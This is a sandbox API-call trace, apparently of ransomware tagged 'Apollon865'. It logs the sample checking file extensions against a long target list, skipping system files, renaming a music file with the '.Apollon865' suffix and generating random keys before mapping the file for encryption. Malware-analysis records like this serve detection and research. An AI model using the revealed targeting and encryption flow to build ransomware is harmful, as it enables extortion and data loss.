	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="cdb") returned 1
	[0088.326] lstrlenW (lpString="ckp") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="ckp") returned 1
	[0088.326] lstrlenW (lpString="cma") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="cma") returned 1
	[0088.326] lstrlenW (lpString="cpd") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="cpd") returned 1
	[0088.326] lstrlenW (lpString="dacpac") returned 6
	[0088.326] lstrcmpiW (lpString1="tl.mp3", lpString2="dacpac") returned 1
	[0088.326] lstrlenW (lpString="dad") returned 3
	[0088.326] lstrcmpiW (lpString1="mp3", lpString2="dad") returned 1
	[0088.326] lstrlenW (lpString="dadiagrams") returned 10
	[0088.326] lstrlenW (lpString="daschema") returned 8
	[0088.326] lstrcmpiW (lpString1="sHtl.mp3", lpString2="daschema") returned 1
	[0088.326] lstrlenW (lpString="db-journal") returned 10
	[0088.327] lstrlenW (lpString="db-shm") returned 6
	[0088.327] lstrcmpiW (lpString1="tl.mp3", lpString2="db-shm") returned 1
	[0088.327] lstrlenW (lpString="db-wal") returned 6
	[0088.327] lstrcmpiW (lpString1="tl.mp3", lpString2="db-wal") returned 1
	[0088.327] lstrlenW (lpString="dbc") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dbc") returned 1
	[0088.327] lstrlenW (lpString="dbs") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dbs") returned 1
	[0088.327] lstrlenW (lpString="dbt") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dbt") returned 1
	[0088.327] lstrlenW (lpString="dbv") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dbv") returned 1
	[0088.327] lstrlenW (lpString="dbx") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dbx") returned 1
	[0088.327] lstrlenW (lpString="dcb") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dcb") returned 1
	[0088.327] lstrlenW (lpString="dct") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dct") returned 1
	[0088.327] lstrlenW (lpString="dcx") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dcx") returned 1
	[0088.327] lstrlenW (lpString="ddl") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="ddl") returned 1
	[0088.327] lstrlenW (lpString="dlis") returned 4
	[0088.327] lstrcmpiW (lpString1=".mp3", lpString2="dlis") returned -1
	[0088.327] lstrlenW (lpString="dp1") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dp1") returned 1
	[0088.327] lstrlenW (lpString="dqy") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dqy") returned 1
	[0088.327] lstrlenW (lpString="dsk") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dsk") returned 1
	[0088.327] lstrlenW (lpString="dsn") returned 3
	[0088.327] lstrcmpiW (lpString1="mp3", lpString2="dsn") returned 1
	[0088.327] lstrlenW (lpString="dtsx") returned 4
	[0088.327] lstrcmpiW (lpString1=".mp3", lpString2="dtsx") returned -1
	[0088.328] lstrlenW (lpString="dxl") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="dxl") returned 1
	[0088.328] lstrlenW (lpString="eco") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="eco") returned 1
	[0088.328] lstrlenW (lpString="ecx") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="ecx") returned 1
	[0088.328] lstrlenW (lpString="edb") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="edb") returned 1
	[0088.328] lstrlenW (lpString="epim") returned 4
	[0088.328] lstrcmpiW (lpString1=".mp3", lpString2="epim") returned -1
	[0088.328] lstrlenW (lpString="fcd") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fcd") returned 1
	[0088.328] lstrlenW (lpString="fdb") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fdb") returned 1
	[0088.328] lstrlenW (lpString="fic") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fic") returned 1
	[0088.328] lstrlenW (lpString="flexolibrary") returned 12
	[0088.328] lstrlenW (lpString="fm5") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fm5") returned 1
	[0088.328] lstrlenW (lpString="fmp") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fmp") returned 1
	[0088.328] lstrlenW (lpString="fmp12") returned 5
	[0088.328] lstrcmpiW (lpString1="l.mp3", lpString2="fmp12") returned 1
	[0088.328] lstrlenW (lpString="fmpsl") returned 5
	[0088.328] lstrcmpiW (lpString1="l.mp3", lpString2="fmpsl") returned 1
	[0088.328] lstrlenW (lpString="fol") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fol") returned 1
	[0088.328] lstrlenW (lpString="fp3") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fp3") returned 1
	[0088.328] lstrlenW (lpString="fp4") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fp4") returned 1
	[0088.328] lstrlenW (lpString="fp5") returned 3
	[0088.328] lstrcmpiW (lpString1="mp3", lpString2="fp5") returned 1
	[0088.328] lstrlenW (lpString="fp7") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="fp7") returned 1
	[0088.329] lstrlenW (lpString="fpt") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="fpt") returned 1
	[0088.329] lstrlenW (lpString="frm") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="frm") returned 1
	[0088.329] lstrlenW (lpString="gdb") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.329] lstrlenW (lpString="gdb") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="gdb") returned 1
	[0088.329] lstrlenW (lpString="grdb") returned 4
	[0088.329] lstrcmpiW (lpString1=".mp3", lpString2="grdb") returned -1
	[0088.329] lstrlenW (lpString="gwi") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="gwi") returned 1
	[0088.329] lstrlenW (lpString="hdb") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="hdb") returned 1
	[0088.329] lstrlenW (lpString="his") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="his") returned 1
	[0088.329] lstrlenW (lpString="ib") returned 2
	[0088.329] lstrcmpiW (lpString1="p3", lpString2="ib") returned 1
	[0088.329] lstrlenW (lpString="idb") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="idb") returned 1
	[0088.329] lstrlenW (lpString="ihx") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="ihx") returned 1
	[0088.329] lstrlenW (lpString="itdb") returned 4
	[0088.329] lstrcmpiW (lpString1=".mp3", lpString2="itdb") returned -1
	[0088.329] lstrlenW (lpString="itw") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="itw") returned 1
	[0088.329] lstrlenW (lpString="jet") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="jet") returned 1
	[0088.329] lstrlenW (lpString="jtx") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="jtx") returned 1
	[0088.329] lstrlenW (lpString="kdb") returned 3
	[0088.329] lstrcmpiW (lpString1="mp3", lpString2="kdb") returned 1
	[0088.329] lstrlenW (lpString="kexi") returned 4
	[0088.329] lstrcmpiW (lpString1=".mp3", lpString2="kexi") returned -1
	[0088.330] lstrlenW (lpString="kexic") returned 5
	[0088.330] lstrcmpiW (lpString1="l.mp3", lpString2="kexic") returned 1
	[0088.330] lstrlenW (lpString="kexis") returned 5
	[0088.330] lstrcmpiW (lpString1="l.mp3", lpString2="kexis") returned 1
	[0088.330] lstrlenW (lpString="lgc") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="lgc") returned 1
	[0088.330] lstrlenW (lpString="lwx") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="lwx") returned 1
	[0088.330] lstrlenW (lpString="maf") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="maf") returned 1
	[0088.330] lstrlenW (lpString="maq") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="maq") returned 1
	[0088.330] lstrlenW (lpString="mar") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mar") returned 1
	[0088.330] lstrlenW (lpString="marshal") returned 7
	[0088.330] lstrcmpiW (lpString1="Htl.mp3", lpString2="marshal") returned -1
	[0088.330] lstrlenW (lpString="mas") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mas") returned 1
	[0088.330] lstrlenW (lpString="mav") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mav") returned 1
	[0088.330] lstrlenW (lpString="maw") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="maw") returned 1
	[0088.330] lstrlenW (lpString="mdbhtml") returned 7
	[0088.330] lstrcmpiW (lpString1="Htl.mp3", lpString2="mdbhtml") returned -1
	[0088.330] lstrlenW (lpString="mdn") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mdn") returned 1
	[0088.330] lstrlenW (lpString="mdt") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mdt") returned 1
	[0088.330] lstrlenW (lpString="mfd") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mfd") returned 1
	[0088.330] lstrlenW (lpString="mpd") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mpd") returned -1
	[0088.330] lstrlenW (lpString="mrg") returned 3
	[0088.330] lstrcmpiW (lpString1="mp3", lpString2="mrg") returned -1
	[0088.330] lstrlenW (lpString="mud") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="mud") returned -1
	[0088.331] lstrlenW (lpString="mwb") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="mwb") returned -1
	[0088.331] lstrlenW (lpString="myd") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="myd") returned -1
	[0088.331] lstrlenW (lpString="ndf") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="ndf") returned -1
	[0088.331] lstrlenW (lpString="nnt") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="nnt") returned -1
	[0088.331] lstrlenW (lpString="nrmlib") returned 6
	[0088.331] lstrcmpiW (lpString1="tl.mp3", lpString2="nrmlib") returned 1
	[0088.331] lstrlenW (lpString="ns2") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="ns2") returned -1
	[0088.331] lstrlenW (lpString="ns3") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="ns3") returned -1
	[0088.331] lstrlenW (lpString="ns4") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="ns4") returned -1
	[0088.331] lstrlenW (lpString="nsf") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="nsf") returned -1
	[0088.331] lstrlenW (lpString="nv") returned 2
	[0088.331] lstrcmpiW (lpString1="p3", lpString2="nv") returned 1
	[0088.331] lstrlenW (lpString="nv2") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="nv2") returned -1
	[0088.331] lstrlenW (lpString="nwdb") returned 4
	[0088.331] lstrcmpiW (lpString1=".mp3", lpString2="nwdb") returned -1
	[0088.331] lstrlenW (lpString="nyf") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="nyf") returned -1
	[0088.331] lstrlenW (lpString="odb") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.331] lstrlenW (lpString="odb") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="odb") returned -1
	[0088.331] lstrlenW (lpString="oqy") returned 3
	[0088.331] lstrcmpiW (lpString1="mp3", lpString2="oqy") returned -1
	[0088.331] lstrlenW (lpString="ora") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="ora") returned -1
	[0088.332] lstrlenW (lpString="orx") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="orx") returned -1
	[0088.332] lstrlenW (lpString="owc") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="owc") returned -1
	[0088.332] lstrlenW (lpString="p96") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="p96") returned -1
	[0088.332] lstrlenW (lpString="p97") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="p97") returned -1
	[0088.332] lstrlenW (lpString="pan") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="pan") returned -1
	[0088.332] lstrlenW (lpString="pdb") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="pdb") returned -1
	[0088.332] lstrlenW (lpString="pdm") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="pdm") returned -1
	[0088.332] lstrlenW (lpString="pnz") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="pnz") returned -1
	[0088.332] lstrlenW (lpString="qry") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="qry") returned -1
	[0088.332] lstrlenW (lpString="qvd") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="qvd") returned -1
	[0088.332] lstrlenW (lpString="rbf") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="rbf") returned -1
	[0088.332] lstrlenW (lpString="rctd") returned 4
	[0088.332] lstrcmpiW (lpString1=".mp3", lpString2="rctd") returned -1
	[0088.332] lstrlenW (lpString="rod") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="rod") returned -1
	[0088.332] lstrlenW (lpString="rodx") returned 4
	[0088.332] lstrcmpiW (lpString1=".mp3", lpString2="rodx") returned -1
	[0088.332] lstrlenW (lpString="rpd") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="rpd") returned -1
	[0088.332] lstrlenW (lpString="rsd") returned 3
	[0088.332] lstrcmpiW (lpString1="mp3", lpString2="rsd") returned -1
	[0088.332] lstrlenW (lpString="sas7bdat") returned 8
	[0088.332] lstrcmpiW (lpString1="sHtl.mp3", lpString2="sas7bdat") returned 1
	[0088.333] lstrlenW (lpString="sbf") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="sbf") returned -1
	[0088.333] lstrlenW (lpString="scx") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="scx") returned -1
	[0088.333] lstrlenW (lpString="sdb") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="sdb") returned -1
	[0088.333] lstrlenW (lpString="sdc") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="sdc") returned -1
	[0088.333] lstrlenW (lpString="sdf") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="sdf") returned -1
	[0088.333] lstrlenW (lpString="sis") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="sis") returned -1
	[0088.333] lstrlenW (lpString="spq") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="spq") returned -1
	[0088.333] lstrlenW (lpString="te") returned 2
	[0088.333] lstrcmpiW (lpString1="p3", lpString2="te") returned -1
	[0088.333] lstrlenW (lpString="teacher") returned 7
	[0088.333] lstrcmpiW (lpString1="Htl.mp3", lpString2="teacher") returned -1
	[0088.333] lstrlenW (lpString="tmd") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="tmd") returned -1
	[0088.333] lstrlenW (lpString="tps") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="tps") returned -1
	[0088.333] lstrlenW (lpString="trc") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.333] lstrlenW (lpString="trc") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="trc") returned -1
	[0088.333] lstrlenW (lpString="trm") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="trm") returned -1
	[0088.333] lstrlenW (lpString="udb") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="udb") returned -1
	[0088.333] lstrlenW (lpString="udl") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="udl") returned -1
	[0088.333] lstrlenW (lpString="usr") returned 3
	[0088.333] lstrcmpiW (lpString1="mp3", lpString2="usr") returned -1
	[0088.334] lstrlenW (lpString="v12") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="v12") returned -1
	[0088.334] lstrlenW (lpString="vis") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="vis") returned -1
	[0088.334] lstrlenW (lpString="vpd") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="vpd") returned -1
	[0088.334] lstrlenW (lpString="vvv") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="vvv") returned -1
	[0088.334] lstrlenW (lpString="wdb") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="wdb") returned -1
	[0088.334] lstrlenW (lpString="wmdb") returned 4
	[0088.334] lstrcmpiW (lpString1=".mp3", lpString2="wmdb") returned -1
	[0088.334] lstrlenW (lpString="wrk") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="wrk") returned -1
	[0088.334] lstrlenW (lpString="xdb") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="xdb") returned -1
	[0088.334] lstrlenW (lpString="xld") returned 3
	[0088.334] lstrcmpiW (lpString1="mp3", lpString2="xld") returned -1
	[0088.334] lstrlenW (lpString="xmlff") returned 5
	[0088.334] lstrcmpiW (lpString1="l.mp3", lpString2="xmlff") returned -1
	[0088.334] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\aesHtl.mp3.Apollon865") returned 83
	[0088.334] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\aesHtl.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\aeshtl.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\aesHtl.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\aeshtl.mp3.apollon865"), dwFlags=0x1) returned 1
	[0088.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\aesHtl.mp3.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\a4jjdxzf6um92en\\aeshtl.mp3.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.336] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=21950) returned 1
	[0088.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.336] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.337] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.337] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.337] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x58c0, lpName=0x0) returned 0x15c
	[0088.337] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x58c0) returned 0x100000
	[0088.338] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.339] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.339] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.339] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.340] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.340] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.340] CloseHandle (hObject=0x15c) returned 1
	[0088.340] CloseHandle (hObject=0x9c) returned 1
	[0088.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.341] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.342] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda85ad90, ftCreationTime.dwHighDateTime=0x1d4caa7, ftLastAccessTime.dwLowDateTime=0x46147d0, ftLastAccessTime.dwHighDateTime=0x1d4d0d6, ftLastWriteTime.dwLowDateTime=0x46147d0, ftLastWriteTime.dwHighDateTime=0x1d4d0d6, nFileSizeHigh=0x0, nFileSizeLow=0x137b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="G3dJpXccbg.mp3", cAlternateFileName="G3DJPX~1.MP3")) returned 1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="Apollon865.txt.exe") returned 1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2=".") returned 1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="..") returned 1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="windows") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="bootmgr") returned 1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="temp") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="pagefile.sys") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="boot") returned 1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="ids.txt") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="ntuser.dat") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="perflogs") returned -1
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2="MSBuild") returned -1
	[0088.342] lstrlenW (lpString="G3dJpXccbg.mp3") returned 14
	[0088.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\A4JJDXZF6um92en\\aesHtl.mp3") returned 72
	[0088.342] lstrcpyW (in: lpString1=0x119e684, lpString2="G3dJpXccbg.mp3" | out: lpString1="G3dJpXccbg.mp3") returned="G3dJpXccbg.mp3"
	[0088.342] lstrlenW (lpString="G3dJpXccbg.mp3") returned 14
	[0088.342] lstrlenW (lpString="Apollon865") returned 10
	[0088.342] lstrcmpiW (lpString1="pXccbg.mp3", lpString2="Apollon865") returned 1
	[0088.342] lstrlenW (lpString=".dll") returned 4
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2=".dll") returned 1
	[0088.342] lstrlenW (lpString=".lnk") returned 4
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2=".lnk") returned 1
	[0088.342] lstrlenW (lpString=".ini") returned 4
	[0088.342] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2=".ini") returned 1
	[0088.343] lstrlenW (lpString=".sys") returned 4
	[0088.343] lstrcmpiW (lpString1="G3dJpXccbg.mp3", lpString2=".sys") returned 1
	[0088.343] lstrlenW (lpString="G3dJpXccbg.mp3") returned 14
	[0088.343] lstrlenW (lpString="bak") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="bak") returned 1
	[0088.343] lstrlenW (lpString="ba_") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="ba_") returned 1
	[0088.343] lstrlenW (lpString="dbb") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="dbb") returned 1
	[0088.343] lstrlenW (lpString="vmdk") returned 4
	[0088.343] lstrcmpiW (lpString1=".mp3", lpString2="vmdk") returned -1
	[0088.343] lstrlenW (lpString="rar") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="rar") returned -1
	[0088.343] lstrlenW (lpString="zip") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="zip") returned -1
	[0088.343] lstrlenW (lpString="tgz") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="tgz") returned -1
	[0088.343] lstrlenW (lpString="vbox") returned 4
	[0088.343] lstrcmpiW (lpString1=".mp3", lpString2="vbox") returned -1
	[0088.343] lstrlenW (lpString="vdi") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="vdi") returned -1
	[0088.343] lstrlenW (lpString="vhd") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="vhd") returned -1
	[0088.343] lstrlenW (lpString="vhdx") returned 4
	[0088.343] lstrcmpiW (lpString1=".mp3", lpString2="vhdx") returned -1
	[0088.343] lstrlenW (lpString="avhd") returned 4
	[0088.343] lstrcmpiW (lpString1=".mp3", lpString2="avhd") returned -1
	[0088.343] lstrlenW (lpString="db") returned 2
	[0088.343] lstrcmpiW (lpString1="p3", lpString2="db") returned 1
	[0088.343] lstrlenW (lpString="db2") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="db2") returned 1
	[0088.343] lstrlenW (lpString="db3") returned 3
	[0088.343] lstrcmpiW (lpString1="mp3", lpString2="db3") returned 1
	[0088.344] lstrlenW (lpString="dbf") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="dbf") returned 1
	[0088.344] lstrlenW (lpString="mdf") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="mdf") returned 1
	[0088.344] lstrlenW (lpString="mdb") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="mdb") returned 1
	[0088.344] lstrlenW (lpString="sql") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="sql") returned -1
	[0088.344] lstrlenW (lpString="sqlite") returned 6
	[0088.344] lstrcmpiW (lpString1="bg.mp3", lpString2="sqlite") returned -1
	[0088.344] lstrlenW (lpString="sqlite3") returned 7
	[0088.344] lstrcmpiW (lpString1="cbg.mp3", lpString2="sqlite3") returned -1
	[0088.344] lstrlenW (lpString="sqlitedb") returned 8
	[0088.344] lstrcmpiW (lpString1="ccbg.mp3", lpString2="sqlitedb") returned -1
	[0088.344] lstrlenW (lpString="xml") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="xml") returned -1
	[0088.344] lstrlenW (lpString="$er") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="$er") returned 1
	[0088.344] lstrlenW (lpString="4dd") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="4dd") returned 1
	[0088.344] lstrlenW (lpString="4dl") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="4dl") returned 1
	[0088.344] lstrlenW (lpString="^^^") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="^^^") returned 1
	[0088.344] lstrlenW (lpString="abs") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="abs") returned 1
	[0088.344] lstrlenW (lpString="abx") returned 3
	[0088.344] lstrcmpiW (lpString1="mp3", lpString2="abx") returned 1
	[0088.344] lstrlenW (lpString="accdb") returned 5
	[0088.344] lstrcmpiW (lpString1="g.mp3", lpString2="accdb") returned 1
